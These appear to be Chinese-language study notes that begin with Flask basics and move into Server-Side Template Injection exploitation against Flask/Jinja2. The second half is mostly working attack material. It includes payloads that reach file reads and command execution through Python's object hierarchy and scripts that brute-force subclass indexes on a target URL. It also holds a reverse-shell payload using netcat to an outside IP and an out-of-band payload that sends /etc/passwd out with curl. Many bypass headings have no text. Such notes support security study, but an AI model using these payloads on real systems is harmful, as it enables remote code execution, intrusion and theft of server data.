环境搭建¶
python venv搭建¶
python flask¶
Flask是一个Python编写的Web 微框架,让我们可以使用Python语言快速实现一个网站或Web服务
路由建立网页¶
from flask import Flask
app=Flask(__name__)
@app.route('/')
def mainpage():
return "This is the main page of website"
@app.route('/study')
def study():
return "This is a test page"
@app.route('/hello/<name>')
def hello(name):
return "hello %s" % name
@app.route('/path/<path:filepath>')
def show_path(filepath):
return "your path is %s" % filepath
@app.route('/port/<int:portid>')
def show_port(portid):
return "your port id = %d" % portid
if __name__=='__main__':
app.run(port=80,host="0.0.0.0",debug=True)
http服务¶
from flask import Flask, redirect, url_for, request
app = Flask(__name__)
@app.route('/success/<name>')
def success(name):
return 'welcome %s' % name
@app.route('/login',methods = ['POST', 'GET'])
def login():
if request.method == 'POST':
user = request.form['name']
return redirect(url_for('success',name = user))
else:
user = request.args.get('name')
return redirect(url_for('success',name = user))
if __name__ == '__main__':
app.run(debug = True,port=80,host='0.0.0.0')
- studyssti.html
<html>
<body>
<form action = "http://192.168.130.128/login" method = "get">
<p>Enter Name:</p>
<p><input type = "text" name = "name" /></p>
<p><input type = "submit" value = "submit" /></p>
</form>
</body>
</html>
request模块¶
from flask import Flask, render_template, request
app = Flask(__name__)
@app.route('/')
def student():
return render_template('student.html')
@app.route('/result',methods = ['POST', 'GET'])
def result():
if request.method == 'POST':
result = request.form
return render_template("result.html",result = result)
if __name__ == '__main__':
app.run(debug = True)
- student.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form action="http://localhost:5000/result" method="POST">
<p>Name <input type = "text" name = "Name" /></p>
<p>Physics <input type = "text" name = "Physics" /></p>
<p>Chemistry <input type = "text" name = "chemistry" /></p>
<p>Maths <input type ="text" name = "Mathematics" /></p>
<p><input type = "submit" value = "submit" /></p>
</form>
</body>
</html>
- result.html
<!doctype html>
<table border = 1>
{% for key, value in result.items() %}
<tr>
<th> {{ key }} </th>
<td> {{ value }}</td>
</tr>
{% endfor %}
</table>
url_for¶
from flask import Flask,redirect,url_for
app=Flask(__name__)
@app.route('/admin')
def admin():
return "hello admin"
@app.route('/guest/<guestname>')
def guest(guestname):
return "hello %s as guest" % guestname
@app.route('/user/<name>')
def hello_user(name):
if name=='admin':
return redirect(url_for('admin'))
else:
return redirect(url_for('guest',guestname=name))#guestname=name是在传入参数
if __name__=='__main__':
app.run(debug=True,port=80,host='0.0.0.0')
模板渲染¶
from flask import Flask, render_template
app = Flask(__name__)
@app.route('/')
def index():
my_int = 18
my_str = 'curry'
my_list = [1, 5, 4, 3, 2]
my_dict = {
'name': 'durant',
'age': 28
}
# render_template方法:渲染模板
# 参数1: 模板名称 参数n: 传到模板里的数据
return render_template('hello.html',
my_int=my_int,
my_str=my_str,
my_list=my_list,
my_dict=my_dict)
if __name__ == '__main__':
app.run(debug=True)
- Flasktemplate.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<h2>我是模板</h2>
{{ my_int }}
<br>
{{ my_str }}
<br>
{{ my_list }}
<br>
{{ my_dict }}
<hr>
<h2>模板的list数据获取</h2>
<hr>
{{ my_list[0] }}
<br>
{{ my_list.1 }}
<hr>
<h2>字典数据获取</h2>
<hr>
{{ my_dict['name'] }}
<br>
{{ my_dict.age }}
<hr>
<h2>算术运算</h2>
<br>
{{ my_list.0 + 10 }}
<br>
{{ my_list[0] + my_list.1 }}
</body>
</html>
flask session¶
session的作用¶
由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。
用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息
flask session的储存方式¶
第一种方式:直接存在客户端的cookies中
第二种方式:存储在服务端,如:redis,memcached,mysql,file,mongodb等等,存在flask-session第三方库
flask的session可以保存在客户端的cookie中,那么就会产生一定的安全问题。
flask的session格式¶
flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) . 时间戳 . 签名组成的。
时间戳:用来告诉服务端数据最后一次更新的时间,超过31天的会话,将会过期,变为无效会话;
签名:是利用Hmac算法,将session数据和时间戳加上secret_key加密而成的,用来保证数据没有被修改。
SSTI模板注入¶

根据输入执行的情况来判断是哪个模块
继承关系和魔术方法¶
__class__ 返回一个实例所属的类
__mro__ 查看类继承的所有父类,直到object
__subclasses__() 获取一个类的子类,返回的是一个列表
__bases__ 返回一个类直接所继承的类(元组形式)
__init__ 类实例创建之后调用, 对当前对象的实例的一些初始化
__globals__ 使用方式是 函数名.__globals__,返回一个当前空间下能使用的模块,方法和变量的字典,与func_globals等价
__getattribute__ 当类被调用的时候,无条件进入此函数。
__getattr__ 对象中不存在的属性时调用
__dict__ 返回所有属性,包括属性,方法等
__builtins__ 方法是作为默认初始模块出现的,可用于查看当前所有导入的内建函数

代码示例:
class A:pass
class B(A):pass
class C(B):pass
class D(C):pass
class E(C):pass
class F(C):pass
# 最终的父类是Object
d=D()
print(d.__class__)
# __class__ --> 当前类
print(d.__class__.__base__)
# __base__ --> 当前类的父类
print(d.__class__.__base__.__base__)
# 父类的父类
print(d.__class__.__base__.__base__.__base__)
print(d.__class__.__base__.__base__.__base__.__base__)
print(d.__class__.__mro__)
# __mro__ --> 类的层级关系
print(d.__class__.__base__.__subclasses__())
# __subclasses__() --> 当前类下的子类(列表)
print(d.__class__.__base__.__subclasses__()[1])
# 可通过索引访问具体哪个子类

漏洞检查¶
获取object类¶
python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,主要是通过__mro__ 和 __bases__两种方式来创建。
mro 属性获取类的MRO(方法解析顺序),也就是继承关系。
().__class__.__bases__[0]{}.__class__.__bases__[0][].__class__.__bases__[0]''.__class__.__bases__[0] #python3
bases 属性可以获取上一层的继承关系,如果是多层继承则返回上一层的东西,可能有多个。
().__class__.__mro__[1]{}.__class__.__mro__[1][].__class__.__mro__[1]''.__class__.__mro__[1]#python3''.__class__.__mro__[2]#python2
获取子类列表¶
然后通过object类的__subclasses__()方法获取所有的子类列表,查看可用的类。
若类中有file,考虑读写操作. (python2)
[].__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()[].__class__.__mro__[1].__subclasses__()[40]('/tmp/test.txt', 'w').write('xxx’)
找到重载过的__init__类¶
在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的,因为wrapper是指这些函数并没有被重载,这时它们并不是function,不具有__globals__属性。

写个脚本帮我们来筛选出重载过的init类的类:
# 筛选出重载过的init类的类:
l = len([].__class__.__mro__[1].__subclasses__())
for i in range(l):
if 'wrapper' not in str([].__class__.__mro__[1].__subclasses__()[i].__init__):
print(i, [].__class__.__mro__[1].__subclasses__()[i])

重载过的__init__类的类具有__globals__属性,这里以WarningMessage为例,会返回很多dict类型。
寻找keys中的__builtins__来查看引用,这里同样会返回很多dict类型:
常用注入模块¶
- 文件读取
- 内建函数eval执行命令
- os模块执行命令
- importlib类执行命令
- linecache函数执行命令
- subprocess.Popen类执行命令
文件读取¶
关键子类:_frozen_importlib_external_FileLoader
- __base__获取
- __mor__获取

找到后如何获取对应索引号
- 复制全部,将逗号替换为换行,数行数
- 脚本
import requests
url=input("please input the url:")
for i in range(500):
data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response=requests.post(url,data=data)
#print(response.text)
if response.status_code==200:
if '_frozen_importlib_external_FileLoader' in response.text:
print(i)
except:
pass
该脚本仅作示例,根据实际情况写脚本
- 内建函数eval执行命令


python脚本(仅作参考)
# 爆破索引
import requests
url=input("please input the url:")
for i in range(500):
data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
try:
response=requests.post(url,data=data)
#print(response.text)
if response.status_code==200:
if 'eval' in response.text:
print(i)
except:
pass
- os模块执行命令
在其他函数直接调用os模块

# 查找加载了os模块的python脚本
import requests
url=input("please input the url:")
for i in range(500):
data={"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
try:
response=requests.post(url,data=data)
#print(response.text)
if response.status_code==200:
if 'os.py' in response.text:
print(i)
except:
pass
- importlib类执行命令

# python脚本
import requests
url=input("please input the url:")
for i in range(500):
data={"code":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response=requests.post(url,data=data)
#print(response.text)
if response.status_code==200:
if '_frozen_importlib.Builtinlmporter' in response.text:
print(i)
except:
pass

- linecache函数执行命令

# python脚本
import requests
url=input("please input the url:")
for i in range(500):
data={"code":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
try:
response=requests.post(url,data=data)
#print(response.text)
if response.status_code==200:
if 'linecache' in response.text:
print(i)
except:
pass

- subprocess.Popen类执行命令

# python脚本
import requests
url=input("please input the url:")
for i in range(500):
data={"code":"{{().__class__.__base__[0].__subclasses__()["+str(i)+"]}}"}
try:
response=requests.post(url,data=data)
#print(response.text)
if response.status_code==200:
if 'subprocess.Popen' in response.text:
print(i)
except:
pass

绕过过滤方法¶
过滤大括号¶
{% %}是属于flask的控制语句,且以{% end... %}结尾,可以通过在控制语句定义变量或者写循环,判断



SSTI盲注¶
- 反弹shell
-
带外注入
-
纯盲注
反弹shell¶
# python脚本
import requests
url=input("please input the url:")
for i in range(500):
try:
data={'name":"{{"".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("netcat 192.168.1.161 7777 -e /bin/bash").read()}'}
response=requests.post(url,data=data)
except:
pass
带外注入¶

# python脚本
import requests
url=input("please input the url:")
for i in range(500):
try:
data={'name":"{{"".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("curl http://192.168.1.161/`cat /etc/passwd`").read()}'}
response=requests.post(url,data=data)
except:
pass
纯盲注¶
通过python脚本猜解
中括号过滤¶
__getitem__()¶



单双引号过滤¶
利用request模块




get payload¶

post payload¶

cookie payload¶

下划线过滤¶
flask常用过滤器¶


attr可以获得属性
request方法¶

unicode编码¶

16进制编码¶

base64编码¶

格式化字符串¶

点过滤¶
- 用中括号[]代替点
- 用attr()代替

关键字过滤¶

字符编码¶

"~"拼接¶

过滤器¶


char()¶

length¶


